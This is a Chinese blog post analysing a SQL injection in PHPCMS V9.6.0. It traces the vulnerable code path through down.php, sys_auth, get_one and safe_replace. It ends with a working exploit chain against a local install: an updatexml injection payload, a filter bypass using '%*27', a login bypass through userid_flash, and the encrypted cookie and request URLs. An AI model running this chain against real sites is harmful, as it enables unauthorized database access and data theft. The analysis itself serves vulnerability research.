phpcmsV9.6.0sql注入漏洞分析

目录

前言

环境准备

漏洞点

看一看parse_str函数

看一看sys_auth函数

看一看get_one函数

全局搜索sys_auth($a_k, 'ENCODE')

查看safe_replace函数

判断登录绕过

index的业务

加载modules/wap/index.php

加载modules/attachment/attachments.php

加载modules\content\down.php


前言

本次分析phpcmsV9.6.0 的sql注入漏洞,过程很曲折,就像cc链一样,要一步一步找到利用的链。
纯手动分析没有软件调试,中间找类啊,方法啊 ,都是按照代码流程写的流程分析的,对自己也是一个挑战吧!

环境准备

添加php的运行环境

PHPCMSV9.6.0 源码下载

链接:https://pan.baidu.com/s/1h87h2RLBNsu8Ox6eRRK6Qw?pwd=cefh 
提取码:cefh

漏洞点

请看phpcms\modules\content\down.php 文件下down类中的一个函数方法

public function init() {
		$a_k = trim($_GET['a_k']);
		if(!isset($a_k)) showmessage(L('illegal_parameters'));
		$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
		if(empty($a_k)) showmessage(L('illegal_parameters'));
		unset($i,$m,$f);
		parse_str($a_k);
		if(isset($i)) $i = $id = intval($i);
		if(!isset($m)) showmessage(L('illegal_parameters'));
		if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
		if(empty($f)) showmessage(L('url_invalid'));
		$allow_visitor = 1;
		$MODEL = getcache('model','commons');
		$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
		$this->db->table_name = $tablename.'_data';
		$rs = $this->db->get_one(array('id'=>$id));	
		$siteids = getcache('category_content','commons');
		$siteid = $siteids[$catid];
		$CATEGORYS = getcache('category_content_'.$siteid,'commons');
		...
            

get传参&a_k,之后对参数$a_k做了sys_auth()函数处理 模式是解密处理,后面sql的数据库处理,这里是否存在sql注入呢!

看一看parse_str函数

官方文档说明

看来这个函数可以根据传参&k=v 的形式创建变量 ,我们可以创建$id参数 试试sql注入,因为下面的代码涉及数据库查询

看if(isset($i)) $i = $id = intval($i); 好像对$id做了处理,不过没有用,因为上面的代码有执行unset($i,$m,$f); ,这意味者$i是无效的。 之后$id是一直没有做过滤处理,直接到了sql查询,那么这存在的sql注入可能性是非常的大的。

我们欲定制的&id=' and updatexml(1,concat(1,(user())),1) 通过parse_str创建sql注入危险参数 传入sql查询中,这有可能返回用户信息。

不过在此之前我们要看一下加解密的这个函数sys_auth();

看一看sys_auth函数
/**

* 字符串加密、解密函数
  *
  *

* @param	string	$txt		字符串
* @param	string	$operation	ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param	string	$key		密钥:数字、字母、下划线
* @param	string	$expiry		过期时间

* @return	string
  */
  function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
  $ckey_length = 4;
  $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
  $keya = md5(substr($key, 0, 16));
  $keyb = md5(substr($key, 16, 16));
  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

  $cryptkey = $keya.md5($keya.$keyc);
  $key_length = strlen($cryptkey);

  $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
  $string_length = strlen($string);

  $result = '';
  $box = range(0, 255);

  $rndkey = array();
  for($i = 0; $i <= 255; $i++) {
  	$rndkey[$i] = ord($cryptkey[$i % $key_length]);
  }

  for($j = $i = 0; $i < 256; $i++) {
  	$j = ($j + $box[$i] + $rndkey[$i]) % 256;
  	$tmp = $box[$i];
  	$box[$i] = $box[$j];
  	$box[$j] = $tmp;
  }

  for($a = $j = $i = 0; $i < $string_length; $i++) {
  	$a = ($a + 1) % 256;
  	$j = ($j + $box[$a]) % 256;
  	$tmp = $box[$a];
  	$box[$a] = $box[$j];
  	$box[$j] = $tmp;
  	$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  }

  if($operation == 'DECODE') {
  	if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
  		return substr($result, 26);
  	} else {
  		return '';
  	}
  } else {
  	return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
  }
  }

只看注解就大致明白了这个函数的基本逻辑,传入了字符串和密钥它就返回一个加了密的或者解了密的字符串。非常可能是对称加密。

而且当你第二个参数密钥没输的话,后面的代码还是会赋给key:pc_base::load_config('system', 'auth_key') ---------------$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));

看来pc_base::load_config('system','auth_key')这个就是密钥了。

找到pc_base这个类的load_config方法,找找看密钥在不在

/**
	 * 加载配置文件
	 * @param string $file 配置文件
	 * @param string $key  要获取的配置荐
	 * @param string $default  默认配置。当获取配置项目失败时该值发生作用。
	 * @param boolean $reload 强制重新加载。
	 */
	public static function load_config($file, $key = '', $default = '', $reload = false) {
		static $configs = array();
		if (!$reload && isset($configs[$file])) {
			if (empty($key)) {
				return $configs[$file];
			} elseif (isset($configs[$file][$key])) {
				return $configs[$file][$key];
			} else {
				return $default;
			}
		}
		$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
		if (file_exists($path)) {
			$configs[$file] = include $path;
		}
		if (empty($key)) {
			return $configs[$file];
		} elseif (isset($configs[$file][$key])) {
			return $configs[$file][$key];
		} else {
			return $default;
		}
	}

第一个if是进不去的因为$configs[$file] 是刚创建的新数组,看它接下来又进行了什么操作

    $path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
    if (file_exists($path)) {
        $configs[$file] = include $path;
    }

这里给$configs[$file] 赋了值,分析一下。

写宏的定义都可以找到//缓存文件夹地址 define('CACHE_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR.'caches'.DIRECTORY_SEPARATOR); //PHPCMS框架路径 define('PC_PATH', dirname(FILE).DIRECTORY_SEPARATOR);

根据传入的参数$file=system 可以得到$path的目录
CACHE_PATH=phpcms../caches./
$path=phpcms../caches./configs./system.php

在后面的代码逻辑中似乎取出了什么值,$configs[$file][$key]; 。

打开这个文件一看 找auth_key的值

 ok 这个密钥找到了

如果这个密钥每个安装cms的用户密钥都一样的,那就可以直接利用。但如果每个用户的密钥都一样那这个时候就另辟途径了。

全局搜索看看有没有调用sys_auth($a_k, 'ENCODE');函数 传入的字符串是否可控 ,若可控还能返回最好 ,我们把准备的get传参交由它加密,最后经过phpcms\modules\content\down.php 的sys_auth解密 不就可以利用了。

为了确保sql注入的准确执行,看一看get_one函数

看一看get_one函数
		...
		$MODEL = getcache('model','commons');
		$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
		$this->db->table_name = $tablename.'_data';
		$rs = $this->db->get_one(array('id'=>$id));	
		...

 分析一下db是怎么来的,查看down的构造方法

class down {
	private $db;
	function __construct() {
		$this->db = pc_base::load_model('content_model');
	}

跟进pc_base类下的load_model方法

/**
 * 加载数据模型
 * @param string $classname 类名
 */
public static function load_model($classname) {
	return self::_load_class($classname,'model');
}

在跟进_load_class方法

/**
	 * 加载类文件函数
	 * @param string $classname 类名
	 * @param string $path 扩展地址
	 * @param intger $initialize 是否初始化
	 */
	private static function _load_class($classname, $path = '', $initialize = 1) {
		static $classes = array();
		if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
		$key = md5($path.$classname);
		if (isset($classes[$key])) {
			if (!empty($classes[$key])) {
				return $classes[$key];
			} else {
				return true;
			}
		}
		if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
			include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
			$name = $classname;
			if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
				include $my_path;
				$name = 'MY_'.$classname;
			}
			if ($initialize) {
				$classes[$key] = new $name;
			} else {
				$classes[$key] = true;
			}
			return $classes[$key];
		} else {
			return false;
		}
	}

 由传入的参数$classname=content_model; $path='model'
PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php' == phpcms/model/content_model.class.php'

这个文件是存在的所以会被包含进来

在content_model.class.php内content_model类中没有找到get_one方法,不过它有父类model兴趣能找到get_one方法。

在父类中有get_one方法

**
 * 获取单条记录查询
 * @param $where 		查询条件
 * @param $data 		需要查询的字段值[例`name`,`gender`,`birthday`]
 * @param $order 		排序方式	[默认按数据库默认方式排序]
 * @param $group 		分组方式	[默认为空]
 * @return array/null	数据查询结果集,如果不存在,则返回空
 */
final public function get_one($where = '', $data = '*', $order = '', $group = '') {
	if (is_array($where)) $where = $this->sqls($where);
	return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}

上来就判断$where是数组吗,是! 刚才我们传的是array('id'=>$id),因此会执行$where = $this->sqls($where);进入sqls方法

/**
 * 将数组转换为SQL语句
 * @param array $where 要生成的数组
 * @param string $font 连接串。
 */
final public function sqls($where, $font = ' AND ') {
	if (is_array($where)) {
		$sql = '';
		foreach ($where as $key=>$val) {
			$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
		}
		return $sql;
	} else {
		return $where;
	}
}

假设id=1 那么经过foreach后 $sql="id=1"
假设id=1 key=2那么经过foreach后 $sql="id=1 and key=2"

将$sql返回赋值给$where
续分析return $this->db->get_one($data, $this->table_name, $where, $order, $group);

这里貌似有了新的db,去看一看db怎么来的, 找到model类的构造函数

class model {
	
//数据库配置
protected $db_config = '';
//数据库连接
protected $db = '';
//调用数据库的配置项
protected $db_setting = 'default';
//数据表名
protected $table_name = '';
//表前缀
public  $db_tablepre = '';

public function __construct() {
	if (!isset($this->db_config[$this->db_setting])) {
		$this->db_setting = 'default';
	}
	$this->table_name = $this->db_config[$this->db_setting]['tablepre'].$this->table_name;
	$this->db_tablepre = $this->db_config[$this->db_setting]['tablepre'];
	$this->db = db_factory::get_instance($this->db_config)->get_database($this->db_setting);
}

找到同级目录下的db_factory类 get_instance静态方法

/**
 * 返回当前终级类对象的实例
 * @param $db_config 数据库配置
 * @return object
 */
public static function get_instance($db_config = '') {
	if($db_config == '') {
		$db_config = pc_base::load_config('database');
	}
	if(db_factory::$db_factory == '') {
		db_factory::$db_factory = new db_factory();
	}
	if($db_config != '' && $db_config != db_factory::$db_factory->db_config) db_factory::$db_factory->db_config = array_merge($db_config, db_factory::$db_factory->db_config);
	return db_factory::$db_factory;
}

实例化db_factory类,后面又调用了get_database方法 ,

/**
	 * 获取数据库操作实例
	 * @param $db_name 数据库配置名称
	 */
	public function get_database($db_name) {
		if(!isset($this->db_list[$db_name]) || !is_object($this->db_list[$db_name])) {
			$this->db_list[$db_name] = $this->connect($db_name);
		}
		return $this->db_list[$db_name];
	}

进入connect方法 看看返回的return $this->db_list[$db_name];是什么

/**
 *  加载数据库驱动
 * @param $db_name 	数据库配置名称
 * @return object
 */
public function connect($db_name) {
	$object = null;
	switch($this->db_config[$db_name]['type']) {
		case 'mysql' :
			pc_base::load_sys_class('mysql', '', 0);
			$object = new mysql();
			break;
		case 'mysqli' :
			$object = pc_base::load_sys_class('db_mysqli');
			break;
		case 'access' :
			$object = pc_base::load_sys_class('db_access');
			break;
		default :
			pc_base::load_sys_class('mysql', '', 0);
			$object = new mysql();
	}
	$object->open($this->db_config[$db_name]);
	return $object;
}

这里我们需要判断 $this->db_config[$db_name]['type'] 存的是什么字符串

connect的$db_name来自get_database的$db_name
get_database的$db_name来自$this->db_setting
db_setting = 'default'

找一下$db_config
$db_config = pc_base::load_config('database');
根据刚才找system的套路 我们也向caches\configs目录下找

<?php

return array (
	'default' => array (
		'hostname' => 'localhost',
		'port' => 3306,
		'database' => 'phpcmsv9',
		'username' => 'root',
		'password' => '',
		'tablepre' => 'v9_',
		'charset' => 'utf8',
		'type' => 'mysqli',
		'debug' => true,
		'pconnect' => 0,
		'autoconnect' => 0
		),
);

?>

既然是default 后面又有type 那么最终返回的就是mysqli

现在可以判断的是刚才的switch语句会执行以下的代码

	case 'mysqli' :
		$object = pc_base::load_sys_class('db_mysqli');
		break;

跟进去load_sys_class

/**
 * 加载系统类方法
 * @param string $classname 类名
 * @param string $path 扩展地址
 * @param intger $initialize 是否初始化
 */
public static function load_sys_class($classname, $path = '', $initialize = 1) {
		return self::_load_class($classname, $path, $initialize);
}

 在跟进去_load_class

/**
 * 加载类文件函数
 * @param string $classname 类名
 * @param string $path 扩展地址
 * @param intger $initialize 是否初始化
 */
private static function _load_class($classname, $path = '', $initialize = 1) {
	static $classes = array();
	if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
	$key = md5($path.$classname);
	if (isset($classes[$key])) {
		if (!empty($classes[$key])) {
			return $classes[$key];
		} else {
			return true;
		}
	}
	if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
		include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
		$name = $classname;
		if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
			include $my_path;
			$name = 'MY_'.$classname;
		}
		if ($initialize) {
			$classes[$key] = new $name;
		} else {
			$classes[$key] = true;
		}
		return $classes[$key];
	} else {
		return false;
	}
}

ok 我们去上libs/classes 这个目录下的db_mysqli类找出来 ;文件名为db_mysqli.class.php 函数加载了这个类

由此可见db存的是db_mysqli实例化类

db_mysqli有get_one的方法

/**
 * 获取单条记录查询
 * @param $data 		需要查询的字段值[例`name`,`gender`,`birthday`]
 * @param $table 		数据表
 * @param $where 		查询条件
 * @param $order 		排序方式	[默认按数据库默认方式排序]
 * @param $group 		分组方式	[默认为空]
 * @return array/null	数据查询结果集,如果不存在,则返回空
 */
public function get_one($data, $table, $where = '', $order = '', $group = '') {
	$where = $where == '' ? '' : ' WHERE '.$where;
	$order = $order == '' ? '' : ' ORDER BY '.$order;
	$group = $group == '' ? '' : ' GROUP BY '.$group;
	$limit = ' LIMIT 1';
	$field = explode( ',', $data);
	array_walk($field, array($this, 'add_special_char'));
	$data = implode(',', $field);

	$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
	$this->execute($sql);
	$res = $this->fetch_next();
	$this->free_result();
	return $res;
}

所以这里的之前的get_one函数会跳转到上面的get_one函数

    final public function get_one($where = '', $data = '*', $order = '', $group = '') {
    if (is_array($where)) $where = $this->sqls($where);
    return $this->db->get_one($data, $this->table_name, $where, $order, $group);

​$where = $where == ' ' ? ' ' : ' WHERE '.$where; ​ 将成为 WHERE id=1 之类的
$order = $order == ' ' ? ' ' : ' ORDER BY '.$order; $order为空
$group = $group == '' ? '' : ' GROUP BY '.$group; $group为空
$data = '*'经过$field = explode( ',', $data); $field成为数组 .....

看sql语句的字符串

$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'.'.$table.''.$where.$group.$order.$limit;
最终形成的形式为$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'.'.$table.'' WHERE id=1 LIMIT 1;
这样美誉经过任何过滤项 已经形成sql注入的必要条件了。

全局搜索sys_auth($a_k, 'ENCODE')

在phpcms\libs\classes\param.class.php文件中

/**
	 * 设置 cookie
	 * @param string $var     变量名
	 * @param string $value   变量值
	 * @param int $time    过期时间
	 */
	public static function set_cookie($var, $value = '', $time = 0) {
		$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
		$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
		$var = pc_base::load_config('system','cookie_pre').$var;
		$_COOKIE[$var] = $value;
		if (is_array($value)) {
			foreach($value as $k=>$v) {
				setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
			}
		} else {
			setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
		}
	}

('cookie_pre' => 'tqdSZ_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀 )

$value参数可控的话就可以利用,这里setcookie方法貌似是js中定义的,可以返回到前端

function setcookie(name, value, days) {
    name = cookie_pre+name;
	var argc = setcookie.arguments.length;
	var argv = setcookie.arguments;
	var secure = (argc > 5) ? argv[5] : false;
	var expire = new Date();
	if(days==null || days==0) days=1;
	expire.setTime(expire.getTime() + 3600000*24*days);
	document.cookie = name + "=" + escape(value) + ("; path=" + cookie_path) + ((cookie_domain == '') ? "" : ("; domain=" + cookie_domain)) + ((secure == true) ? "; secure" : "") + ";expires="+expire.toGMTString();
}

在phpcms/modules/attachment/attachments.php文件中 ,有一个方法

/**
	 * 设置swfupload上传的json格式cookie
	 */
	public function swfupload_json() {
		$arr['aid'] = intval($_GET['aid']);
		$arr['src'] = safe_replace(trim($_GET['src']));
		$arr['filename'] = urlencode(safe_replace($_GET['filename']));
		$json_str = json_encode($arr);
		$att_arr_exist = param::get_cookie('att_json');
		$att_arr_exist_tmp = explode('||', $att_arr_exist);
		if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
			return true;
		} else {
			$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
			param::set_cookie('att_json',$json_str);
			return true;			
		}
	}

查看接收字符串的src与filename参数,中间经过了safe_replace的处理之后由json_encode处理后放入set_cookie ,

查看safe_replace函数

/**
 * 安全过滤函数
 *
 * @param $string
 * @return string
 */
function safe_replace($string) {
	$string = str_replace('%20','',$string);
	$string = str_replace('%27','',$string);
	$string = str_replace('%2527','',$string);
	$string = str_replace('*','',$string);
	$string = str_replace('"','&quot;',$string);
	$string = str_replace("'",'',$string);
	$string = str_replace('"','',$string);
	$string = str_replace(';','',$string);
	$string = str_replace('<','&lt;',$string);
	$string = str_replace('>','&gt;',$string);
	$string = str_replace("{",'',$string);
	$string = str_replace('}','',$string);
	$string = str_replace('\\','',$string);
	return $string;
}

这个函数的确过滤了不少特殊的字符,但它是顺序执行了的啊!

给出思路: 假如我们像传参%27 我们可以写成%*27 ,是不是可以绕过了。

判断登录绕过

要使用这个类还有有一个前提
看一看attachments类的初始化工作

class attachments {
	private $att_db;
	function __construct() {
		pc_base::load_app_func('global');
		$this->upload_url = pc_base::load_config('system','upload_url');
		$this->upload_path = pc_base::load_config('system','upload_path');		
		$this->imgext = array('jpg','gif','png','bmp','jpeg');
		$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
		$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
		$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
		//判断是否登录
		if(empty($this->userid)){
			showmessage(L('please_login','','member'));
		}
	}

必须让userid不为空,分析前面的带代码得知post传入userid_flash参数即可

为了使userid加密 格式正确我们可以看下面的代码

phpcms/modules/wap/index.php

class index {
	function __construct() {		
		$this->db = pc_base::load_model('content_model');
		$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
		param::set_cookie('siteid',$this->siteid);	
		$this->wap_site = getcache('wap_site','wap');
		$this->types = getcache('wap_type','wap');
		$this->wap = $this->wap_site[$this->siteid];
		define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
		if($this->wap['status']!=1) exit(L('wap_close_status'));
	}

这里get接收siteid并且经过加密(set_cookie里)返回  我们可以拿到一个正常的加密的siteid值

一切都看似很美好,那么我们如何传参呢?

index的业务

看首页的index.php

<?php
/**

 *  index.php PHPCMS 入口
    *
 *  @copyright			(C) 2005-2010 PHPCMS
 *  @license				http://www.phpcms.cn/license/
 *  @lastmodify			2010-6-1
    */
     //PHPCMS根目录

define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

include PHPCMS_PATH.'/phpcms/base.php';

pc_base::creat_app();

?>

跟进pc_base类中的creat_app方法

/**
 * 初始化应用程序
 */
public static function creat_app() {
	return self::load_sys_class('application');
}

根据刚才的套路可以想到这应该是到libs/classes目录下找application.class 找到application类

application类有构造函数

class application {
/**
 * 构造函数
 */
public function __construct() {
	$param = pc_base::load_sys_class('param');
	define('ROUTE_M', $param->route_m());
	define('ROUTE_C', $param->route_c());
	define('ROUTE_A', $param->route_a());
	$this->init();
}

这里定义了几根宏后面可能会用到,看看route_m

/**
 * 获取模型
 */
public function route_m() {
	$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');
	$m = $this->safe_deal($m);
	if (empty($m)) {
		return $this->route_config['m'];
	} else {
		if(is_string($m)) return $m;
	}
}

route_c

/**
	 * 获取控制器
	 */
	public function route_c() {
		$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');
		$c = $this->safe_deal($c);
		if (empty($c)) {
			return $this->route_config['c'];
		} else {
			if(is_string($c)) return $c;
		}
	}

$param存的应该是param类

进入init函数

/**
	 * 调用件事
	 */
	private function init() {
		$controller = $this->load_controller();
		if (method_exists($controller, ROUTE_A)) {
			if (preg_match('/^[_]/i', ROUTE_A)) {
				exit('You are visiting the action is to protect the private action');
			} else {
				call_user_func(array($controller, ROUTE_A));
			}
		} else {
			exit('Action does not exist.');
		}
	}

进入load_controller

/**
	 * 加载控制器
	 * @param string $filename
	 * @param string $m
	 * @return obj
	 */
	private function load_controller($filename = '', $m = '') {
		if (empty($filename)) $filename = ROUTE_C;
		if (empty($m)) $m = ROUTE_M;
		$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
		if (file_exists($filepath)) {
			$classname = $filename;
			include $filepath;
			if ($mypath = pc_base::my_path($filepath)) {
				$classname = 'MY_'.$filename;
				include $mypath;
			}
			if(class_exists($classname)){
				return new $classname;
			}else{
				exit('Controller does not exist.');
 			}
		} else {
			exit('Controller does not exist.');
		}
	}
}

 可以传参c=cccc&m=mmm
$filepath=phpcms/modules/mmmm/cccc.php,如果这个文件存在 那就包含这个文件
返回这个实例化类

call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数

根据这个逻辑我们可以包含phpcms/modules/wap/index.php,加载index类(__construct会自动执行),这样就可传参siteid了

加载modules/wap/index.php

试一下

http://localhost/PHPCMSV9.6.0/install_package/index.php?c=index&m=wap&siteid=1

我们可以看到这里确实返回了cookie

加载modules/attachment/attachments.php

准备加载在phpcms/modules/attachment/attachments.php加载attachments类

http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachments&m=attachment

我们需要执行这个类的一个函数swfupload_json,注意call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数

/**
 * 获取事件
 */
public function route_a() {
	$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');
	$a = $this->safe_deal($a);
	if (empty($a)) {
		return $this->route_config['a'];
	} else {
		if(is_string($a)) return $a;
	}
}

我们试试把get传入参数a

http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachment&m=attachment&a=swfupload_json

注意这个请求应是post,加上userid_flash 之前我们得到的可以绕过登录的加密密文
userid_flash=6b47nnR-RzzZSlL3pvOWVbDDRPViHYmbMZJc0tHF

如果这个请求可以执行swfupload_json函数, 那就要考虑传参了,这也是我们愿意看到的向src传参。

不过此前我们还要考虑到如下的代码

        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));

 由于以上代码参数限制我们 在传参的时候加把这些if绕过去,于是我们payload设置如下

http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=attachments&m=attachment&a=swfupload_json&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=1

 此时有cookie的返回

 将这段的cookie记录下来

afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61

加载modules\content\down.php

phpcms\modules\content\down.php 加载init函数 传入参数&a_k

http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=down&m=content&a=init&a_k=afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61

可以看到这里确实可以存在sql注入

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值